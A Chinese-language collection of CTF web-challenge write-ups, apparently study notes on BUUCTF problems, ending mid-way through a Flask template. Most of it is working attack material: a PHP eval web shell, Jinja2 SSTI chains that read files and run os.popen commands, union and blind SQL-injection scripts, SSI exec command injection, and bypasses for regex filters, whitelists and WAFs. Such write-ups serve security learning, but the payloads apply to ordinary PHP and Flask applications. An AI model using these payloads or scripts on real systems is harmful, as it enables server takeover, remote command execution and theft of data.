把木马输出到 a.phtml 文件中,然后访问木马文件

php 被过滤

<?= @eval($_POST[1]); ?> -oG a.phtml
/a.phtml?1=system(cat /flag);

[NPUCTF2020]ReadlezPHP

知识点:序列化

拿到源代码查看

<p>百万前端的NPU报时中心为您报时:<a href="./time.php?source"></a></p>
<SCRIPT language=javascript>
function runClock() {
theTime = window.setTimeout("runClock()", 100);
var today = new Date();
var display= today.toLocaleString();
window.status=""+display+"大黑阔HELEN";
}runClock();
</SCRIPT>
  
  
//查看/time.php?source

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);

[CISCN2019 华东南赛区]Web11

​ 知识点:ssti

在页面右上角有IP 显示,可以利用 XFF

发现有 ssti 漏洞

构造payload:X-Forwarded-For:{if system('cat /flag')}{/if}

[SWPU2019]Web1

知识点:sql 注入,information_schema.tables被过滤

注册登录后发现有文本输入

尝试输入<script>alert(1)</script>,发现有 XSS

输入1’,发现有 SQL 注入漏洞

or,空格,#被过滤

1.利用 group by探测出有22列

1'/**/group/**/by/**/22,'3

2.联合注入

-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22		

3.发现回显,2,3;发现 information_schema.tables被过滤

mysql.innodb_table_stats
sys.schema_auto_increment_columns
-1'/**/union/**/select/**/1,select/**/group_concat/**/(table_name)/**/from mysql.innodb_table_stats/**/where/**/database_name='web1'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22		

但是mysql.innodb_table_stats搜索不到列

-1'/**/union/**/select/**/1,select/**/group_concat/**/(column_name)/**/from mysql.innodb_table_stats/**/where/**/table_name='users'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22		

无列名,

select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users:把 users 的三列取别名 b

//-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

[CISCN 2019 初赛]Love Math

知识点:白名单绕过

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){   //参数 c
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];  //黑名单
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];  
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

有白名单,传入的参数必须得是白名单里面的命令基本用不了,但是php中可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数比如下面的代码会执行 system(‘cat/flag’);

$a='system';
$a('cat/flag');

?c=($_GET[a])($_GET[b])&a=system&b=cat /flag

把参数改变成白名单的参数

?c=($_GET[pi])($_GET[abs])&pi=system&abs=cat /flag

_GET[]不在白名单内,_GET转化成十六进制5f474554,所以_GET=hex2bin(5f 47 45 54)

但是hex2bin()函数也不是白名单里面的,而且这里的5f 47 45 54也不能直接填入,这里会被 preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); 检测;

这里的hex2bin()函数可以通过base_convert()函数来进行转换,base_convert()函数能够在任意进制之间转换数字

这里的hex2bin可以看做是36进制,用base_convert来转换将在10进制的数字转换为16进制就可以出现hex2bin;hex2bin=base_convert(37907361743,10,36)

然后里面的5f 47 45 54要用dechex()函数将10进制数转换为16进制的数,dechex(1598506324),1598506324转换为16进制就是5f 47 45 54

Payload:

/?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag

hex2bin=base_convert(37907361743,10,36)

5f 47 45 54=(dechex(1598506324))

base_convert(37907361743,10,36)(dechex(1598506324))=hex2bin(5f 47 45 54)=_GET

总结:可以通过转化进制编码绕过白名单

[极客大挑战 2019]FinalSQL

发现过滤了空格,等号,or,and,union,select,报错注入用不了只能盲注

^没有被过滤,就能用异或与盲注结合

构造 payload:*id=1^(length(database())<4)^1#*

盲注脚本

import requests
import sys
import time
 
#判断数据库名长度
def get_DBlen(url):
    for i in range(1,10):
        db_url = url+"1^1^(length(database())=%d)#"%i
        r = requests.get(db_url)
        if "Click" in r.text:    //当返回正确的
            print("数据库名称的长度为:%d"%i)
            return i
#爆数据库名
def get_DBname(url,length):
    DBname = ""
    length = length + 1
    for i in range(1,length):
        Max = 122
        Min = 41
        Mid = (Max+Min)//2
        while Min <= Max:
            db_url = url+"1^1^(ascii(substr(database(),%d,1))>=%d)#"%(i,Mid)
            r = requests.get(db_url)
            if "Click" in r.text:
                Min=Mid+1
                Mid=(Min+Max)//2
                pass
            else:
                Max = Mid-1
                Mid = (Min+Max)//2
                pass
            pass
        DBname = DBname + chr(Mid)
    print("数据库名:",DBname)
    return DBname
 
def get_TBname(url):
    name=""
    i = 0
    print("字段内容为:")
    while True:
        i = i+1
        Max = 128
        Min = 32
        Mid = (Max+Min)//2
        while Min <= Max:
            # 爆表名
            # db_url = url+"1^1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>=%d)#"%(i,Mid)
            # 爆字段名
            # db_url = url+"1^1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>=%d)#"%(i,Mid)
            # 获取flag
            db_url = url+"1^1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>=%d)"%(i,Mid)
            r = requests.get(db_url)
            if "Click" in r.text:
                Min=Mid+1
                Mid=(Min+Max)//2
                pass
            else:
                Max=Mid-1
                Mid=(Min+Max)//2
                pass
            pass
        name=name+chr(Mid)
        if Mid == 31:
            break
        print(name)
    #速度太快显示不完全
        time.sleep(0.5)
 
 
if __name__=="__main__":
    url = "http://41a8c6b3-f4d5-4b79-9bbc-0bf925168a5f.node4.buuoj.cn/search.php?id="
    db_Len = get_DBlen(url)
    db_Name = get_DBname(url,db_Len)
    tb_name = get_TBname(url)

[BSidesCF 2019]Kookie

在请求头加上cookie发包请求

cookie:username=admin

[De1CTF 2019]SSRF Me 1

Python代码

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')
def index():
    return open("code.txt","r").read()


def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"



def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
    return hashlib.md5(content).hexdigest()


def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False


if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0')


@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)


GET方式接受 param参数值
令action = "scan"
同时将action和param,返回到 getSign()函数  生成一段签名
urllib.unquote()字符串被当作url提交时会被自动进行url编码处理


class Task:
    def __init__(self, action, param, sign, ip): #__init__             初始化类,返回的类型是function
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action: //"scan" in self.action:则将读取到的内容写入result.txt;
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:   //"read" in self.action:则将result.txt的内容显示出来
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())



以GET方法接受 接受 param 参数
 cookie接收 sign 和 action
使用 waf函数进行判断 我们传入的参数中是否含有 gopher 和 file 着两个敏感词汇
将action, param, sign, ip 四个参数转到tast函数中,
将我们在tast.Exec()转变为 json的格式,
从而实现我们进行读取的目的

tast函数中,先初始化类  之后进行一个签名的判断
调用getSign()函数 与我们输入的签名进行对比
相同,继续进行判断
若"scan" in self.action:则将读取到的内容写入result.txt;"read" in self.action:则将result.txt的内容显示出来


BUUCTF-WEB 【BJDCTF2020】EasySearch 1

知识点:SSI 漏洞

<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
		# 弱类型 只需要找到 md5加密后前6位跟 6d0bc1 相同即可
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
			# 构建文件路径
            $file_shtml = "public/".get_hash().".shtml";
			# 创建文件
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
			# 
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
			# 将 变量$text 的内容 写入 $shtml 文件
            fwrite($shtml,$text);
			# 关闭文件
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

SSI漏洞

1.先用 Python md5把密码解出

2.登录后看到空页面,抓包发现地址;可以把命令带入到username,username=<!--#exec cmd="ls"-->

查看地址 Url_is_here: public/c7eaf01b4f4592afdd4c138fdf378f4586290967.shtml

3.没有看到 flag可以username=<!--#exec cmd="ls ../"-->,发现 flag,访问 flagusername=<!--#exec cmd="cat /var/www/html/flag_990c66bf85a09c664f0b6741840499b2"-->

[极客大挑战 2019]RCE ME 1

知识点:绕过 php 正则

<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

进行编码绕过urlencode,用脚本写木马并编码绕过

<?php 
error_reporting(0);
 
$a='assert';
$b=urlencode(~$a);
echo $b;
 
echo "<br>";
$c='(eval($_POST["test"]))';
$d=urlencode(~$c);
echo $d;
 
 ?>

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6);

绕过后发现要执行 readflag 才能访问flag

利用蚁剑插件绕过访问 readflag 得到 flag

[SUCTF 2019]Pythonginx 1

知识点:idna,国际化域名

   <code>
        
        @app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"
    </code>

要前两次host != suctf.cc,第三次host == suctf.cc可以绕过

chars = ['s', 'u', 'c', 't', 'f']
for c in chars:
	for i in range(0x7f, 0x10FFFF):
		try:
			char_i = chr(i).encode('idna').decode('utf-8')
			if char_i == c:
				print('ASCII: {}   Unicode: {}    Number: {}'.format(c, chr(i), i))
		except:
			pass

用脚本替换字符进行绕过

[GYCTF2020]FlaskApp

知识点:ssti

 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}

pin码生成要六要素
1.username 在可以任意文件读的条件下读 /etc/passwd进行猜测
2.modname 默认flask.app
3.appname 默认Flask
4.moddir flask库下app.py的绝对路径,可以通过报错拿到,如传参的时候给个不存在的变量
5.uuidnode mac地址的十进制,任意文件读 /sys/class/net/eth0/address
6.machine_id 机器码 

jinja2一共三种语法:
控制结构 {% %}
变量取值 {{ }}
注释 {# #}
jinja2的Python模板解释器在构建的时候考虑到了安全问题,删除了大部分敏感函数,相当于构建了一个沙箱环境。
但是一些内置函数和属性还是依然可以使用,而Flask的SSTI就是利用这些内置函数和属性相互组建来达到调用函数的目的,
从而绕过沙箱。

__class__         返回调用的参数类型
__bases__         返回基类列表
__mro__           此属性是在方法解析期间寻找基类时的参考类元组
__subclasses__()  返回子类的列表
__globals__       以字典的形式返回函数所在的全局命名空间所定义的全局变量与func_globals等价
__builtins__      内建模块的引用,在任何地方都是可见的(包括全局),每个 Python 脚本都会自动加载,
				  这个模块包括了很多强大的 built-in 函数,例如eval, exec, open等等

{% for x in {}.__class__.__base__.__subclasses__() %}
	{% if "warning" in x.__name__ %}
		{{x.__init__.__globals__['__builtins__'].open('/etc/passwd').read() }}
	{%endif%}
{%endfor%}

查看源代码

 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}

发现黑名单,过滤了很多方法

black_list = [&#34;flag&#34;,&#34;os&#34;,&#34;system&#34;,&#34;popen&#34;,&#34;import&#34;,&#34;eval&#34;,&#34;chr&#34;,&#34;request&#34;, &#34;subprocess&#34;,&#34;commands&#34;,&#34;socket&#34;,&#34;hex&#34;,&#34;base64&#34;,&#34;*&#34;,&#34;?&#34;] 
可以使用字符串拼接进行绕过

import = imp + ort os =o+s

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}

加密,解密之后得到根目录文件

 [&#39;bin&#39;, &#39;boot&#39;, &#39;dev&#39;, &#39;etc&#39;, &#39;home&#39;, &#39;lib&#39;, &#39;lib64&#39;, &#39;media&#39;, &#39;mnt&#39;, &#39;opt&#39;, &#39;proc&#39;, &#39;root&#39;, &#39;run&#39;, &#39;sbin&#39;, &#39;srv&#39;, &#39;sys&#39;, &#39;tmp&#39;, &#39;usr&#39;, &#39;var&#39;, &#39;this_is_the_flag.txt&#39;, &#39;.dockerenv&#39;, &#39;app&#39;]

[FBCTF2019]RCEService 1

知识点:json,绕过 正则waf

网页源代码

<?php
 
putenv('PATH=/home/rceservice/jail');
 
if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];
 
  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}
 
?>


绕 waf

1.使用%0a换行符绕过。因为preg_match只匹配第一行。

cmd={%0A"cmd":"ls /"%0A}
cmd={%0A"cmd":"ls /home/rceservice"%0A} //找到 flag
cmd={%0A"cmd": "/bin/cat /home/rceservice/flag"%0A}//用绝对路径去调用系统命令

2.回溯次数绕过

脚本绕过

url='http://6411bcf2-6080-407e-921d-dd453425f712.node4.buuoj.cn:81'
data={
    'cmd':'{"cmd":"/bin/cat /home/rceservice/flag","haha":"'+'a'*1000000+'"}'
}

r=requests.post(url=url,data=data).text
print(r)

[WUSTCTF2020]颜值成绩查询 1

知识点:布尔盲注

用异或注入1^1^1,没有报错正常有回显,说明有注入点

利用脚本注入

import re
import requests
import string

url = "http://ebb62726-0fba-430e-bf27-5e7214c31577.node4.buuoj.cn:81/"
flag = ''


def payload(i, j):
    # 数据库名字
    #sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j)
    # 表名
    #sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='ctf'),%d,1))>%d)^1"%(i,j)
    # 字段名
    #sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),%d,1))>%d)^1"%(i,j)
    # 查询flag
    sql = "1^(ord(substr((select(group_concat(value))from(ctf.flag)),%d,1))>%d)^1" % (i, j)
    data = {"stunum": sql}
    r = requests.get(url, params=data)
    # print (r.url)
    if "Hi admin" in r.text:
        res = 1
    else:
        res = 0
    return res


def exp():
    global flag
    for i in range(1, 10000):
        print(i, ':')
        low = 31
        high = 127
        while low <= high:
            mid = (low + high) // 2
            res = payload(i, mid)
            if res:
                low = mid + 1
            else:
                high = mid - 1
        f = int((low + high + 1)) // 2
        if (f == 127 or f == 31):
            break
        # print (f)
        flag += chr(f)
        print(flag)


exp()
print('flag=', flag)


[MRCTF2020]套娃 1

看源代码有提示

1.知识点,%0A绕正则

<!--
//1st
$query = $_SERVER['QUERY_STRING']; //$_SERVER["QUERY_STRING"]  获取的是?后面的值

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){ 
    die('Y0u are So cutE!'); //过滤'_', '%5f'
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";  
}  //preg_match('/^23333$/', $_GET['b_u_p_t'])  正则,在$_GET['b_u_p_t']中如果有/^23333$/则匹配
!-->

正则匹配可以通过在字符串结尾加上回车的url编码%0A来解决,正则只能匹配第一行,可以换行

2.知识点,绕jsfuck 编码,POST传值Merak

F12发现

<!--
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]++[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]]+([+[]]+![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[!+[]+!+[]+[+[]]])
-->

POST传值Merak,随便传个值,即可进入第三层。

3.代码审计

利用data 协议传入值

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){   //可以通过反写将flag.php传入
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();   //可以修改报文来绕过
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?> 

反写

<?php
$re = 'flag.php';
$string='';
for($i=0;$i<strlen($re);$i++){
    $string .= chr(ord($re[$i]) - $i*2);

}
$string = base64_encode($string);
var_dump($string);
//string(12) "ZmpdYSZmXGI="

[Zer0pts2020]Can you guess it? 1

源代码

<?php
include 'config.php'; // FLAG is defined in config.php 访问config.php可以得到 flag


//正则过滤 /config\.php\/*$/i
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {//$_SERVER['PHP_SELF']当前页面
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));//basename 过滤路径,显示文件名
  exit();
}

$secret = bin2hex(random_bytes(64)); //random_bytes(64)生成指定大小的随机字符串 bin2hex 16进制
if (isset($_POST['guess'])) {
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) {   //hash_equals字符串比较函数,防止时序攻击
    $message = 'Congratulations! The flag is: ' . FLAG;
  } else {
    $message = 'Wrong.';
  }
}
?>
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Can you guess it?</title>
  </head>
  <body>
    <h1>Can you guess it?</h1>
    <p>If your guess is correct, I'll give you the flag.</p>
    <p><a href="?source">Source</a></p>
    <hr>
<?php if (isset($message)) { ?>
    <p><?= $message ?></p>
<?php } ?>
    <form action="index.php" method="POST">
      <input type="text" name="guess">
      <input type="submit">
    </form>
  </body>
</html>

利用浏览器与basename($_SERVER['PHP_SELF'])函数的处理差异得到目标文件名,以及$_SERVER['PHP_SELF'])basename函数会去掉文件名开头的非ASCII值的特性,所导致的处理差异,来绕过正则

考点

正则过滤/config\.hp\/*$/i,让 url无法访问config.php

1.通过输入 source利用 basename 冲突过滤出 config.php

2.但是url 不是以config.php结尾也会被过滤

3.用汉字间隔过滤掉 basename 方法内的source成功导出 source

http://212bfc7b-1edb-4743-b5b7-5d2b3da7b593.node5.buuoj.cn:81/index.php/config.php/靠?source

[CSCCTF 2019 Qual]FlaskLight 1

知识点:SSTI

在输入search={{7*7}}后发现有SSTI 漏洞

flask 模块注入

SSTI 文件读取

__class__  返回类型所属的对象(类)
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用

构造payload的大致思路是:找到父类<type 'object'>–>寻找子类(可能存在对文件操作的类file)–>找关于命令执行或者文件操作的模块

''.__class__   //先随便查看一个字符所属的类是什么
''.__class__.__mro__   //返回类的基类是什么,找到object这个主类
因为返回的是元组类型的,我们可以用[n]来表示调用哪个类(这里假设object是第三个类)
''.__class__.__mro__[2].__subclasses__() 来查看所有可以引用的子类
 

用脚本查询 os 命令模块__init__.globals

import requests
import html
import time
 
for i in range(0,300):
    time.sleep(0.06)
    url='http://9a83c16c-d62a-4040-825b-2ffa4954c5ad.node4.buuoj.cn:81/?search={{\'\'.__class__.__mro__[2].__subclasses__()[%d].__init__["__glob"+"als__"]}}' %(i)
    r = requests.get(url)
    if "os" in html.unescape(r.text):
        print(i)

找到可以使用命令的模块,进行控制

http://14dc808d-7602-4558-9700-d3560c7d74e7.node5.buuoj.cn:81/?search={{%27%27.__class__.__mro__[2].__subclasses__()[71].__init__["__glob"+"als__"]["os"].popen('ls').read()}}

看到源代码

from flask import Flask, request, render_template_string, abort

app = Flask(__name__)
app.secret_key = &#39;CCC{f4k3_Fl49_:v} CCC{the_flag_is_this_dir}&#39;
result = [&#34;CCC{Fl49_p@l5u}&#34;, &#34;CSC CTF 2019&#34;, &#34;Welcome to CTF Bois&#34;, &#34;CCC{Qmu_T3rtyPuuuuuu}&#34;, &#34;Tralala_trilili&#34;]
@app.route(&#34;/&#34;)
def search():
  global result
  blacklist = [&#39;url_for&#39;, &#39;listdir&#39;, &#39;globals&#39;]
  search = request.args.get(&#39;search&#39;) or None
  if search is not None:
    for black in blacklist:
      if black in search:
        abort(500)
  if search in result:
    result = search
    return render_template_string(&#39;&#39;&#39;&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
  &lt;title&gt;Flasklight&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
  &lt;marquee&gt;&lt;h1&gt;Flasklight&lt;/h1&gt;&lt;/marquee&gt;
  &lt;h2&gt;You searched for:&lt;/h2&gt;
  &lt;h3&gt;%s&lt;/h3&gt;
  &lt;br&gt;
  &lt;h2&gt;Here is your result&lt;/h2&gt;
  &lt;h3&gt;%s&lt;/h3&gt;
&lt;/body&gt;
&lt;/html&gt;&#39;&#39;&#39; % (search, result))
  elif search == None:
    return render_template_string(&#39;&#39;&#39;&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
  &lt;title&gt;Flasklight&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
  &lt;marquee&gt;&lt;h1&gt;Flasklight&lt;/h1&gt;&lt;/marquee&gt;
  &lt;h2&gt;You searched for:&lt;/h2&gt;
  &lt;h3&gt;%s&lt;/h3&gt;
  &lt;br&gt;
  &lt;h2&gt;Here is your result&lt;/h2&gt;
  &lt;h3&gt;%s&lt;/h3&gt;&lt;br&gt;
  &lt;!-- Parameter Name: search --&gt;
  &lt;!-- Method: GET --&gt;
&lt;/body&gt;
&lt;/html&gt;&#39;&#39;&#39; % (search, result))
  else:
    result = []
    return render_template_string(&#39;&#39;&#39;&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
  &lt;title&gt;Flasklight&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
  &lt;marquee&gt;&lt;h1&gt;Flasklight&lt;/h1&gt;&lt;/marquee&gt;
  &lt;h2&gt;You searched for:&lt;/h2&gt;
  &lt;h3&gt;%s&lt;/h3&gt;
  &lt;br&gt;
